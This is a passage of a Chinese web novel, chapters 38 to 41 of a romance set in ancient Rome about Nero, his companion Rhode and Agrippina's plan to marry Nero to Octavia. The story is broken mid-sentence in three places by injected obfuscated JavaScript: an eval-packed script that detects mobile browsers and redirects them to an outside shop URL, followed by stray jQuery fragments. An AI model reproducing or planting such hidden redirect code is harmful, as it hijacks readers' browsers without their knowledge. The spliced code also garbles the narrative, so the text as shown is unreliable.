尼禄一头雾水。
直到两人来到半山腰,尼禄才豁然开朗。
水声哗哗作响,石缝间的白水花象裙摆一样翻卷起来。树木少了一些,月光毫无阻碍地罩下。大小不一的天然水池
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239655|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
象镜子一样分布着,还有或粗或细的小瀑布。池水是温热的,白雾般的热汽徐徐上升。
“这里有温泉,我军队里的朋友带我来过这儿。”罗德掬起一捧泉水,微微弯起眼睛,回忆起军营生活的种种。
他的语气里有细微的怀念:“他长着一双能找出一切乐子的眼睛,还有一颗用钱币铸造的心脏,是个市侩却有趣的家伙,还是一个讲义气的朋友。”
尼禄心生妒意,心口象被施巫术一般逐渐僵硬。他没精打采地问:“那……那他现在呢?”
罗德喝几口泉水,思考一会说:“他到了退役的年龄,现在应该在经商,毕竟赚钱是他最大的乐趣!”
尼禄不语。他一动不动地站着,流淌在脚边的泉水叮咚作响,濡湿他的袍摆。
耳边传来窸窸窣窣的声音。
尼禄缓了缓神瞧过去。他先是一愣,紧接着头顶一阵充血。
罗德正在扯掉上衣。
他的肩胛骨象蝶翼一样舒展,腰线很紧实,那两点暗色也光明正大地裸露。他肌肉很纤长,此时因动作而微隆,有希腊雕塑的韵味。
罗德继续动作着,解开腰带,褪下宽松的长裤。他的全身在月色下泛着莹润的微光,有极强的丝质感,有返璞归真的赤裸裸的人体美。
尼禄的心脏狂跳,一阵如岩浆般滚烫的热血闯进他的四肢百骸。
罗德用脚尖探了探水,将整个身体没入温泉中。他以舒服的姿势靠在石壁上,慢悠悠地望向呆滞中的尼禄。
他错愕地说:“您流鼻血了。”
尼禄如梦初醒。他慌张地擦一下鼻子,衣袖沾染了斑驳血迹。
罗德清丽的五官在热汽中若隐若现。他的声音懒懒地传来:“您可以在这座山上建造引水道,一直连通到浴场。”
尼禄怔怔地说:“……引水道吗?”
“对,将山上的温泉引到浴场。”罗德说,“引水道虽然耗钱,但不需要长久的投资,存在的时间又很长。爱荣誉的贵族们会争抢着给钱以拿到冠名的。”
尼禄在恍惚中点了头。
罗德游走过来,浸湿的发绺贴黏在细白的肩膀。他将胳膊搭上岸边,对尼禄说:“下来。”
尼禄头脑一热,脚底象生了油一样打滑,一下子摔进温泉,脑袋不幸地磕碰到石头,发出令人心惊的闷响。
罗德飞快从水里薅出呛水的尼禄,手背在慌乱中打到池壁的尖石,传来轻微的刺痛。
尼禄从水里出来,咳嗽着,脑袋撞得脑袋发懵。
湿透的卷发服帖地黏着他的后颈,象银亮的烫银一样。满是水珠的脸庞泛红,回不过神的样子。
罗德忍俊不禁,替他揉了揉痛处,笑道:“水果然是您的灾祸。”
他将受伤的手背展示给尼禄,“就连我也被您的命运殃及了。”
尼禄捧住他受伤的手背。深红的血珠从伤口渗出,与水搅和成淡红色,再慢慢顺着胳膊流下去。
罗德抬眼,见到尼禄惨白的嘴唇,神情逐渐严肃起来。
他扶着摇摇欲坠的尼禄,担忧地说:“您没事吧?”
尼禄渐渐回拢意识,擦了擦眼睛,在蒸腾的热汽里隐隐看清罗德明艳的脸庞。
罗德看着他,正色道:“你怎么了?尼禄……”
尼禄没有回答,忽然低下头,伸出舌尖,将伤口渗出的血珠舔舐到嘴里。
罗德惊愕,手背传来微疼的痒意,就象心脏被小猫长满倒刺的舌头舔了一下。
39. 火事总长的职位
山风到了深夜格外凌冽。罗德见尼禄畏畏缩缩、无心泡温泉的样子,就穿上衣服带他回了家。
尼禄换上睡衣,躺在壁炉旁的躺椅上。他冷得打哆嗦,湿漉漉的头发被火烤得直冒热汽。他的鼻唇之间留有鼻血的残迹,光裸的腿脚很苍白,在火光下呈现出摇动的橘红色。
罗德端着一杯热牛奶进屋。他手里还捏着两团棉花,半干的黑发有点乱翘,象一整幅勾了线的黑|丝绸。
他赤着脚走到躺椅旁边,在地毯上踩出一串微微凹陷的脚印。
尼禄哆嗦的身体逐渐绷紧。他偷瞄罗德一眼,眼里有湿乎乎的情愫在流动。
罗德倾身,不由分说地将棉花团塞进他的鼻孔。
“您流了很多血。”他说,“现在需要这个。”
尼禄害羞地低着头,腿脚不自然地绞在一起,鼻头和脸颊都泛起酡红。
罗德浅笑。他屈膝坐在地毯上,拿起火钳翻动壁炉里的火炭。火星象萤火虫一样飞飘出来,黑炭燃烧出微弱的炸裂声响。
橙红的焰色闪跳,象海底的水流一样溶于空气里。
罗德放下火钳,焰红象流金一样镀满他的周身,使他宛如从连天火光里走出来的火神,所到之处尽是热意与温度。
尼禄被他饱含力量的美所迷,那双酷似琥珀的双眼炯炯发亮。
未尝人情的少年对于人生的初恋毫无保留,以灵魂为祭品去爱。而这种感情太过浓烈,好象他时时刻刻都在重新陷入初恋。
“罗德……”他声音低微地喊道。
罗德侧过脸,细挺的眉锋挑起来,尖锐的唇角有所钝化。
尼禄斟酌着措辞,小心翼翼地问:“我可不可以……给你安排一个职位?”
罗德平淡地说:“什么职位?”
“火事总长。”尼禄说,“这是近卫军长官的预备职位,掌管罗马城的救火器械,甚至拥有一支随意差遣的火警队,平时的工作是巡逻、防火和救火,有时也需要缉拿盗贼。”
他打量罗德的脸色,“如果我将来能顺利继位,你自然就成为近卫军长官。担任火事总长的经历,会让你在近卫军中更有威望……”
罗德默声。他不由地想到,前世尼禄在位时,城中曾烧起一场三天三夜的大火。
当时的尼禄开放自己的花园让平民进来躲灾,却依然逃不过被人们诟病的命运。
“当然可以。”罗德应道,“您不必跟我商量,这本来就是我应该遵循的路线。”
尼禄放下心来,舒了口气,紧张的表情象涟漪一样渐渐淡去。
他的卷发被烤得蓬松一些,象白凝脂一样亮丽。战场上习得的武力使他的腿脚分明深刻的线条,十分有力。而他的脸没什么血色,有一些病弱的气质。
罗德微怔,初具成熟的尼禄使他心有异样。
他沉默一会后说:“我从来没当过什么官,在仕途上的经验比埃及省的沙漠还要秃!必要的时候也许还需要您的帮助。”
尼禄的脸庞逐渐染红,光影之下他的五官十分深邃,有着能承载一切的意志。
“当然可以!我会竭尽所能去帮助你……”尼禄肯定地说。
他停顿一下,面颊红通通的,发自肺腑地说:“我说过,我会保护你的……”
罗德轻笑。他神情认真地望着尼禄,目光赤|裸裸完全不加掩饰。
他就这样,眼睁睁地让尼禄从真诚的神色逐渐变为腼腆,再一点点变得羞涩,最终卑微地低下头。
罗德挪到躺椅旁坐着,瘦削的上半身一歪,就靠在尼禄光溜溜的腿上。
他潮湿的头发被火烤得发烫,直接贴着尼禄的腿侧,有灼人的湿意。
尼禄不好意思地动了动,被罗德按住轻抖的脚踝。平生从来都是感情冥顽的罗德,被他这种卑微的颤抖所触动,将尼禄的小腿挽在臂弯。
“别动,”罗德半闭着眼轻柔地说,“让我靠一会儿……”
尼禄愣了愣,调整一下姿势,让罗德靠得更舒服些。
此时壁炉燃烧得最盛,温度象青芽一样拔高在空气里。其实尼禄的腿一直绷着,时间久了就很酸痛,但他就是不动。罗德明明清楚他的腿绷得很紧,也一直紧靠着没有离开。他们对于这个暧昧的互动心照不宣。
两次人生中皆是孤傲而不驯的罗德,终于初尝相依为命的滋味。
他流浪者一般的灵魂,现在似乎有所归依。
……
皇宫里每天清晨的早餐都象晚宴一样丰富多样。
奴隶点亮蜡烛,盛好撒有虾仁的燕麦粥,娴熟地切割烤得焦黄的鹌鹑。他们把无花果、杏仁和石榴摆成一盘,用蜂蜜和药草粉搅拌。厨师把蘑菇煎得卷缩,撒上一层奶酪丝,这是皇帝克劳狄乌斯最爱的食物。
阿格里皮娜在梳妆打扮。女奴为她编细细的辫子,盘起来再用黄金网罩拢住。她将祖母绿的宝石耳环戴好,以赤铁石粉涂抹脸颊,使苍白的面色有所改善。
克劳狄乌斯在他自己的被窝里睡得正香。
自从结婚后,他们同睡一张床榻,却用两个分开的被窝,一直都没有夫妻之实。
阿格里皮娜戴好戒指,让奴隶准备洁净牙齿的苏打水和牙棒,以及洗脸用的皂角水。
她对镜整理一下衣服,走到床边叫醒她的叔父兼她的第二任丈夫。
克劳狄乌斯嘴角还挂着流到半截的口水。他胆小而且睡眠浅,一下子就惊醒过来。
他睁开粘乎乎的眼睛,阿格里皮娜精致的白丝裙就闪进他惺忪的眼睛。
克劳狄乌斯有些不自然地裹紧被子,“哦……谢谢你叫我起床,阿格里皮娜……”
他的侄女面目平静,从奴隶手里端过水盆,“让我来伺候您洗脚。”
克劳狄乌斯艰难地坐起来,伸出一对干瘦而皱巴巴的脚,如坐针毡地放进水盆里。
“以后这种事就让奴隶来做……”他尴尬地说,“你可以睡到自然醒,没人会说你。”
阿格里皮娜给他按摩脚掌,语气平淡地说:“我是皇后,就要有一个合格的妻子的样子。”
克劳狄乌斯无奈地瞧一眼挂在墙上的麦饼和红棉线,神龛里摆着葡萄酒和动物油脂。那是他们结婚那天布置的,寓意着衣食无忧。
他轻叹道:“我们结婚已经三十天了,但我还真是有些不习惯啊……”
“您早晚都会习惯的。”阿格里皮娜平静依旧,洗脚的动作不紧不慢。
她慢慢抬起眼睛,目光很冷,象一只正在苏醒的冬眠的蛇。她冲他浅浅一笑,“因为您需要我……”
克劳狄乌斯哽住,任由她擦干脚。
阿格里皮娜洗了手,边擦手边说:“我昨天去见了屋大维娅。她现在住在她的朋友家里,据说整天都要抽一整盘的大|麻。”
“噢……”克劳狄乌斯摇了摇头,“都怪我这个教导无方的父亲……”
阿格里皮娜用脂膏涂手,面色悠然地说:“她吸食大|麻,又不能熟练地使用织布机,成天到晚和商人来往,这可不是一个好姑娘该有的样子。”
“我管不住她……”克劳狄乌斯忧愁地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239656|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说,耸起的驼背象山一样压住他。
他沉重地说:“每次我要冲她发火、想教训她的时候,看见她眼泪汪汪的样子,我就不忍心训斥了。她是我最疼爱的女儿……”
“她一直都活在您的庇荫之下,尽管她已经十六岁了。”阿格里皮娜说。
她的眼神愈发坚沉,有令人捉摸不透的深意,“要知道……别的女孩在她这个年龄,早就当了母亲了。”
克劳狄乌斯叹息着,溜圆的眼睛冒着忧虑,“我一直为她的婚事发愁。你也知道,她本身并不是一个很有吸引力的女孩,尽管她有全罗马最丰厚的嫁妆。”
阿格里皮娜缓缓盖好脂膏盒,一副若无其事的样子。
她以平静的口吻说道:“但凡追求您女儿的人,或多或少都怀着一颗对帝位的觊觎之心。我同您一样,为她的婚姻和幸福而忧虑着……”
她顿了顿,从眼角斜瞥克劳狄乌斯,以轻飘飘的语气试探道:“毕竟……她到了必须得结婚的年龄了,不是吗?”
克劳狄乌斯歪躺着,眼睛里有年迈之人才有的黄色。
他发出一口衰老的哀叹,“身为父亲,我真是担心她被心怀叵测的男人利用、在榨干她的嫁妆和血统之后无情地抛弃她……”
阿格里皮娜悄然地笑笑,没再出声宽慰他。
奴隶端上水盆,用海绵帮皇帝洗漱。克劳狄乌斯在嘴里含上一片甘草叶,让掏耳奴清洁耳朵。理发奴用油膏涂抹他的下巴,帮他剃干净胡子。这样一个擅长刮胡的奴隶能卖到与角斗士等同的高价。
克劳狄乌斯坐在铜镜前,在镜子里看见奴隶端着一盘兔肉放上餐桌。
“我的屋大维娅也不来看看她的父亲……”他再一次叹息道,“我每天都让厨师准备她最爱的烤野兔肘,但她一次都没有吃到过。”
阿格里皮娜不动声色,从容地安抚道:“她今天晚上就会搬回皇宫,如果不出意外的话……”
克劳狄乌斯惊疑道:“真的吗?!”
“嗯。”阿格里皮娜应道,“我已经成功劝服她每晚都过来陪您吃晚饭。”
“哦……”克劳狄乌斯十分惊喜,脸部的皱纹在笑起来时象饱经风蚀的山沟,“你是怎么做到的?”
“无非是买通她的商人朋友,让她们主动远离她。”阿格里皮娜沉定地说,“商人的眼里只有刻着您头像的钱币,对您的女儿并不感兴趣。”
克劳狄乌斯愣了愣,随即紧锁的眉头舒展,枯瘦的面颊鼓起一点笑意。
“你对我真好,阿格里皮娜。”克劳狄乌斯夸赞道,“比你的叔母……哦不……应该是我的前妻……要好多了。”
他顿了顿,慎重地说:“我会考虑把尼禄纳为养子,只要他能听我的话。”
“他会听话的。”阿格里皮娜冰冷的脸上显现出罕见的微笑,“我会让他听话的。”
她以询问的口吻说:“或许我该让他来拜访您,以及屋大维娅,毕竟你们的关系已经和以前不一样了。”
她稍作停顿,眼里有一丝浊色,声音阴沉地说:“我想他会以一个全新的眼光和心态去看待屋大维娅的。年轻的少女只要稍作打扮,都会魅力十足的……”
克劳狄乌斯想了片刻,点了点头。
这时,奴隶熨烫好皇帝的衣袍,往衣服和桂冠上喷洒香水,叠整齐放在托盘里呈上来。
克劳狄乌斯看到衣服,咳嗽两声,不怎么自在地说:“我现在该换衣服了……阿格里皮娜……”
阿格里皮娜点点头,不紧不慢地从房间里退了出去。
40. 罗德的拥抱
尼禄递交了推荐信,元老院很快就通过他的举荐。
再过一个月后,当现任的火事总长卸任时,罗德就会承接这个职务。
罗德屈起一条腿躺在榕树上,后脑枕着胳膊。榕树荫庇的青光晃在他身上,他被阳光照得眯着眼,露出一道黑白分明的眼缝。
“说说我该做些什么。”他冲窗口的尼禄说。
尼禄趴在二楼的窗口前,手肘下压着刻满文字的蜡板。那上面是火事总长应该履行的每一条职责。
洁白的百叶窗大开,罗德的身影象一片悬浮在空气中的黑绒,后面就是宛如拼图的青荫和碎光。
尼禄几乎是一看见罗德就会咧出微笑。这是他本能上的一种反应,不受思维的控制。
他略带笑意地摆正蜡板,沉缓地念道:
“火事总长应当组织火警队每日巡逻,杜绝火灾吞噬土地与房舍;
应当帮扶被火灾所困之人,倾尽所能入火海搜救伤员;
应当熟练使用水泵和梯子,保全罗马的财产和房产;
火事总长身为铺路之石,心为高天之光,疏忽与错误皆不被司法女神所原谅……”
罗德笑了笑,“这可真是苛刻又霸道的职责。”
尼禄解释道:“不用担心。只要每日巡逻就能很好地控制天灾,人为纵火也不会去追究火事总长的责任。”
他放回蜡板,眉锋微微挺起,郑重其事地说:“而且……我会帮你的。就算你出现了疏忽,我想方设法也要保住你。”
罗德用手背挡着眼睛,懒懒地说:“但愿吧。”
他从尼禄手里夺过蜡板,一个翻身跳下树,冲他晃了晃蜡板说:“为了不让你想方设法,我要回我的房间好好研究这些!”
尼禄目送他走进楼下的卧室,眼角的笑意始终不减。
这时,有家奴快步走进卧房,跪在尼禄脚边,恭顺地说:“主人,皇后让我给您捎来一份口信。”
尼禄心里一紧。他侧过身,半边脸部陷入黑影之中,挺拔的身段有一触即发的紧张感。
家奴低伏着腰背说:“她要您现在去一趟皇宫参加宴会。她特地嘱咐您要准备一束玫瑰花,还要带上印章戒指,说不定今晚就要签署订婚书。”
尼禄骤然升起不好的预感。
“她要我和谁订婚?”他问,“难道是那个天天吸大|麻的屋大维娅吗?”
家奴怔忪,唯唯诺诺地点了头。
尼禄惊愣一下,冰白的眉眼显得茫然而病态;再接着,一个类似于醒悟的表情顿显在他脸上,他的皮肤象浸了毒|药似的变得灰白,阴狠的眉目间蹿起一道愤怒的愠红。
“该死的……我早就该想到她会这么做!”尼禄低声骂道,唇角扯出一些凶意。
他阴涔涔地说:“你随我一起去,记住不要通知罗德……”
家奴有些胆战地跪着。
尼禄逐渐冷静下来。他神色阴晦地思索半晌,忽然阴森地说:“现在就备马车,我要去准备一束鲜活的玫瑰花……”
……
奴隶们在围着阿格里皮娜忙活个不停。
他们稀释公牛的胆汁用来祛除她脸上的斑,并且研磨水仙花的球茎,所制成的粉末能使她的肌肤更加柔嫩。
阿格里皮娜对着梳妆镜,用烤过的海枣灰描画眼线,反复地在两腮处刷腮红,并在银发上绑紧金纱罩,纱间还镶着一枚宝石。
她心情甚佳。
她已经和克劳狄乌斯达成默契,让尼禄迎娶屋大维娅。
对于克劳狄乌斯来说,流有奥古斯都血脉的、继位的呼声最高的尼禄,是最佳的女婿人选。他希望女儿将来能做皇后。这是双方都能攫取好处的一场政治通婚。
“尼禄怎么还没有来?”阿格里皮娜兴奋又责怪地问,“迟到可不会给别人留下好印象。”
奴隶在一旁应道:“大人捎来口信,说要绕路为公主准备玫瑰花。”
阿格里皮娜愣了愣,涂得紫红的嘴唇微微张开。
她有些狐疑,随即又展开笑颜,小声嘀咕道:“这可真不象他的作风……他从来没这么顺从我过。”
在隔壁的餐厅里,奴隶正在将一盘盘菌菇端上餐桌。
厨师采摘各种各样的蘑菇,球状伞状都有。他们将蘑菇翻着花样做成菜品,将猪肉末灌进香菇伞里,用平菇、杏仁和鸡蛋煎成薄饼,还把菇类和奶酪放一起煮成浓汤。
为了防止皇帝误食毒蘑菇,专门有奴隶试吃这些菜品。
克劳狄乌斯拖着他的女儿走进餐厅。
屋大维娅长期吸食大|麻,已经精神涣散。对于这场相亲性质的晚宴,她懒得化妆,头发也乱糟糟的,皱巴巴的裙袍还沾有大|麻的残迹。
“注意点!屋大维娅……”克劳狄乌斯挽着她的腰,无奈地提醒道,“你将要面对一个有意愿娶你的青年……”
屋大维娅浑浑噩噩地问:“要娶我的青年……他会送给我玫瑰花吗?”
“当然!”克劳狄乌斯哄道,“所以你要好好表现。”
奴隶们为之侧目,象看戏耍一样暗自嘲笑他们的小主人。
屋大维娅歪倒在沙发上,蠕动几下。刚刚吸完大|麻的她肤色蜡黄、黑眼圈浓重。她眼神空洞,觉得天花板在慢慢坠下来,周围的墙壁象水波一样荡动。她的耳边出现幻听,脸上挂有怪诞的笑容。
阿格里皮娜梳妆完毕,优雅地踱步到餐厅。
她一眼就瞄到陷入迷乱的屋大维娅,怔了怔,强压下厌恶的神色。
克劳狄乌斯倒满牛奶,扶起女儿的后脑,小心翼翼地给她喂下去。
屋大维娅很不领情,打开他的手。她癫笑着,肥厚的嘴唇颤巍巍的。她用她粗短的手指指向父亲的鼻子,嘲弄道:“昆汀……你是死肥猪昆汀……”
克劳狄乌斯慌忙抓住她乱挠的手,不停解释着。
阿格里皮娜一阵恶寒。
“你确定要让我跟她结婚?”尼禄的声音忽然响在她耳边。
“噢……”阿格里皮娜惊一下,一回头就看到脸色青白的尼禄。
尼禄的气色很差,一贯阴郁而病态的气质,袍摆沾有一些泥点和血迹。他的卷发也有些凌乱,赭红的长袍有点褶皱,一副不怎么准备的样子。
他身侧跟着一个家奴,怀里抱着一只华丽的箱子。
阿格里皮娜看到儿子先是惊喜,紧接着强硬的做派瞬间取而代之。
她深深嗅闻两下,疑惑道:“你的身上有腥味……”
尼禄没搭理她的疑问。他指了指张牙舞爪的屋大维娅,凶险地说:“你甚至没有问过我的想法,就要逼我与一个染上毒瘾的疯女人结婚!”
“这只是暂时的利用而已。”阿格里皮娜轻描淡写,“等你将来做了皇帝,你完全可以跟她离婚,再去娶一个你喜欢的。”
“我不会结婚的。”尼禄说,“而且是永远都不会。”
“你在胡闹!尼禄!”阿格里皮娜惊诧,“你需要一个能为你生儿育女、织毛纺布的妻子!”
她凑近他小声说:“你需要屋大维娅。只要你娶了她,克劳狄乌斯就会纳你为养子和继承人,你必定是下一任皇帝!这是最保险的办法,你一定要听话……”
尼禄轻嗤,以蔑视的眼神去瞧他的母亲。
“你们已经成了乱|伦的笑话,”他讥讽道,“现在又要拖我下水。”
阿格里皮娜惊诧无比。她一下子睁大眼睛,恼怒地说:“我是你的母亲!尼禄!你不能这么说我!”
尼禄一脸冷漠。他直挺挺地站着,五官深邃而纹丝不动。
忽然,一丝怪异的笑意象提线一样牵起他的嘴角。
“没关系……”他的笑容令人不寒而栗,“一会儿你们就会断了这个心思……”
阿格里皮娜的表情渐渐僵化。
晚宴开始,奴隶布置好餐巾布,为主人们擦手倒酒,帮吸毒之后懒得一动不动的屋大维娅剔除果核和龙虾皮。今晚的宴会只有四个人,格外冷清。
大|麻的效用褪去。屋大维娅可以分辨人事,却非常情绪化,一会笑一会悲伤。
克劳狄乌斯将撕好的野鸡肉递到女儿嘴边,被她一口咬到手指头。女儿的疯癫样子,和死去的麦瑟琳娜很相像。
他泛起痛苦,妻子与女儿可悲的相似,让他腹诽命运的悲哀。
“我的屋大维娅……我并不能照顾你一辈子啊……”他带着哭腔,别有深意地瞥一眼尼禄,“可你这个样子,有哪位善良的贵族会愿意娶你呢?”
“哦父亲……别这么说……”屋大维娅嚼着龙虾肉,大|麻的后劲让她脑袋震颤,“我会遇到一个美男子甘心做我的丈夫的,我有土地和别墅作为嫁妆!钱财会让他一生都对我俯首称臣……”
她打出一个粗粗的、带有异味的饱嗝,非常粗俗。
尼禄只觉得恶心,黑着脸放下手里的勺子。
“噢!我愚蠢的女儿!”克劳狄乌斯更觉悲哀。
屋大维娅不禁委屈,“你以为我不想有个真心疼爱我的丈夫吗……父亲……”
她嘴里含着虾肉,自暴自弃,说的话也带有恶毒:
“都怪我的驼背和老鼠一样的脸……有谁愿意透过这副皮囊去看我美好的内心?我恨我的丑陋!到死都要诅咒我的脸和身材!是这副皮囊毁了我的一生!那些婊|子们不过就是长得比我漂亮,就算是贱商出身也有男人追求,可高贵的我呢?我比她们所有人都值得追捧……”
遗传了母亲的善妒之心的她面目可憎。
尼禄平静地吃着东西,对她的哭诉充耳不闻。
克劳狄乌斯心疼地揽住她的肩。他瞄了尼禄一眼,清咳几声说:
“我想你的母亲已经告诉你了……尼禄。心智成熟且阅历丰富的父母,会给孩子挑选出最适合他的伴侣……尤其是政治家的你,没有恋爱的权利。”
他佝偻着腰背,语气含有一些胁迫:“你应该做一个听话的好孩子,不是吗?”
尼禄低垂着头,一声不吭地吃着东西,神情在散乱的刘海下很是恍惚不明。
“他当然会听话。”阿格里皮娜暗喜。
她转头提醒尼禄说,“快把你准备的玫瑰花拿出来,尼禄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239657|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
克劳狄乌斯面露喜悦,“屋大维娅接受你的玫瑰,这意味着你们该签署订婚书了。”
尼禄陡然停住刀子,僵白的指尖捏在刀刃旁侧,好象划破了也不会出一滴血。
他挤出一丝冷笑,充满十足的寒意,“只要她敢接。”
家奴捧着箱子上前。尼禄淡定地打开箱子,拿出里面的花束抱在怀里。
满屋人吓得魂飞魄散。
花束里包得不是玫瑰花,而是捆成一束的红蛇。蛇尾被紧紧绑缠,无数只细小的蛇头竖着脖子探出头,朝呆愣中的父女俩吐出蠕动的蛇信子。
他把这束蛇递到屋大维娅脸前,冷淡地问:“你要吗?”
屋大维娅象野猪一样发出嚎叫,餐桌上的饭菜被她打翻在地。
克劳狄乌斯抱着女儿。屋大维娅躲在他怀里哭泣,将粘稠的鼻涕抹了他一脖子。
他眼睛发红地说:“你这是做什么?!”
“向您的女儿展示一束会跳舞的玫瑰花。”尼禄平淡地微笑,显得十分病态。
阿格里皮娜脸色青绿。她僵硬地站起身,夺过那束捆在一起的蛇,重新放进箱子里。
“你吓着她了!尼禄。”她额角的青筋抽了抽,“没想到你会连王位都不顾!”
尼禄擦掉沾在手上的粘液,平静地说:“我说过我不会结婚的,跟任何人任何时间都不会……”
克劳狄乌斯气得皱起五官,隆起的驼背颤抖着,使他象一只被惹怒的老鼠。
“不娶我的女儿,那你就不要妄想被我写进遗嘱立成继任!”他大喊大叫。
阿格里皮娜屏息,阴毒地瞪克劳狄乌斯一眼。
尼禄转身走出餐厅,只抛出轻飘飘的一句:“随便你。”
……
回到家宅时,已经是夜半时分。
深感疲惫的尼禄走到天井边,先用冷水洗一把脸。他无力地仰起脸,透过榕树的荫蔽看到夜空,零散的星辰发出惨淡的微光。
尼禄疲累的视野模糊几下。他拖着沉重的脚步去浴池泡了澡,换上一身洁净的睡衣。
回到卧室时,他胡乱擦几下湿掉的头发,一抬头便愣住了。
罗德站在壁炉边,长长的黑发柔顺地垂下来,温红的焰色照亮他的半边身。他在等他。
尼禄本来脸色不佳,蕴含着负面的、不良的东西;在看到罗德时,一丝微弱的笑意在他嘴角显露,象一颗在夹缝中生存的嫩草。
“你来了……罗德。”尼禄神色躲闪,“我……”
“我已经知道了。”罗德干脆打断了他,“我从家奴的口中问到了一切……”
尼禄怔住。
罗德极干净的眉眼浮起一丝复杂,“听说您用蛇让那对父女惊骇无比……”
“哦……我只是用几根拔了牙的小蛇吓退了她,并没有伤害到他们。”尼禄有些不安,额发的水滴顺着他的眼睑滴下来,溜过他浅色的雀斑。
他不自然地揉一下鼻子,幽幽地瞄着罗德,“请你不要因此而厌恶我……”
罗德瞧着他颇胆怯的样子,神情越来越复杂,“皇帝拒绝纳您为养子,甚至会因为您不娶他的女儿而心生怨恨。您似乎在与登上帝位背道而驰。”
尼禄沉定一下,“我会做好行政官的工作,用实在的政绩去获得民众的支持。迫于口碑和血统的压力,克劳狄乌斯只能选我作为继任……”
“那需要大量的精力和时间,还要面临更大的质疑。”罗德沉重地说,“平庸和不了解政治的民众其实是最会挑毛病的人。”
尼禄面露脆弱,轻声地说道:“一旦得民心,登帝就成了必然……”
“但不容否定的是,您的确放弃了一条捷径。”罗德深沉地说。
“噢别说了……罗德,求你了……”尼禄有些哀伤,腿脚象绵软似的后退几步,苦涩象腐蚀的酸水一样席卷他的胸口,“我知道我将面临着什么……”
罗德一步一步走近他,安抚般的,抬手挽住他单薄的肩膀。
尼禄微微愣住。他低微的目光移动,一点点看见罗德赤红的双唇、高挺的鼻梁,再到深邃幽黑的双眼,那里倒映着自己银亮的头发。罗德面容很沉静,眼神颇为温柔。
尼禄忽然满腹酸涩。此刻,人生充满算计和阴谋的他,在高高在上的理想和污浊不顺的现实之间,看到一处平衡。
他卑微地哀求道:“你可以拥抱我吗……”
罗德没有等他说完就抱紧了他。
尼禄将下巴嵌进罗德的肩膀,箍紧他的腰,感受他的胸膛和肋骨的形状。他深深地吸着气,象瘾君子一样去吸取罗德发间清爽的气味,好象没有这个气味他就会毙命。他将侧脸贴紧罗德的耳廓,迷离地来回磨蹭着。
“喜欢这个拥抱吗……”罗德靠近他的耳朵,以安慰的口吻说。
尼禄轻颤一下,迷乱地点点头。
罗德笑了笑,将手移上他的后背,手指插进他湿漉漉的头发。他安静地任他磨蹭,尼禄拥抱的力道之大几乎使他站立不稳。
原来他天性寂寥的心脏竟然也会加速跳动。
41. 灵魂的相拥
尼禄与现任皇帝近乎交恶,这使他更加依赖于民众的好感与支持。
他必须走一条所谓“亲民”的路线,以弥补做不到名正言顺的劣势。
针对于之前缺钱建造的浴场,尼禄采纳罗德的建议,向各大贵族发出修建引水道的请求。
他果然收到许多回音。
最终他选择了一个捐款最多的贵族。这名贵族出价到十五万奥雷。
公共浴场竣工这天,尼禄带着他的亲卫临场视察。
浴场由大理石筑造,一根根廊柱撑起整座建筑,女神的裸|体雕像竖立在方形浴池边,池角的石狮口中吐着热水,十分宏伟。浴池的水很清澈,池底的马赛克画清晰地显露出来。
两人站在热水池边,浴场十分安静,能听到拱顶凝结的水滴掉下来的嘀嗒声。
罗德蹲下来试试水温,思量着说:“热水池比山上的温泉还要热。”
尼禄解释道:“因为要同时容纳一千多人洗澡,仅仅是山泉的温度并不够。”
他指了指池底,“池底下面是新建的锅炉间。”
隔着云雾缭绕的水汽,罗德凌厉的唇锋凝出柔光。他的睫毛上沾了水珠,十分莹亮。
“不错。”他表示肯定。
尼禄得到他的夸奖,脸颊本能地一热。他悄然地靠近一步,半遮眼帘的额发使他有些腼腆。
“这都是你的功劳,否则我也不会有钱建造这些。”他低声说,“温泉省掉很多煤炭和锅炉的花销。”
浴池边有大大小小的房间,包括按摩室、擦橄榄油室和蒸汗室等等,门面上铺设着彩色瓷片。贪图享受的罗马人在全身涂抹橄榄油,再用木刮片刮掉,油渗进皮肤里有保护皮肤的作用。他们在浴池里从下午泡到夜晚,喝着浴场供应的葡萄酒,还会在冷水池里游个泳。
罗德坐在吐着水的石狮头上,环视一圈。
热水池边铺设一条鹅卵石路,直直通向一处雕花的拱门。
他顺着鹅卵石路定睛,指着拱门问:“那后面有什么?”
尼禄望过去,透过拱门看到开阔的草坪和栽种的鲜花。
他有些激动地解释道:“有运动场和图书馆,还有演讲厅和花园。来洗浴的人可以尽情地摔跤和掷铁饼,再来泡个舒服的热水澡,有兴致的还会去读书和演讲。”
罗德瞧他一眼,“将浴场改成了娱乐区,这算您的创新吧。”
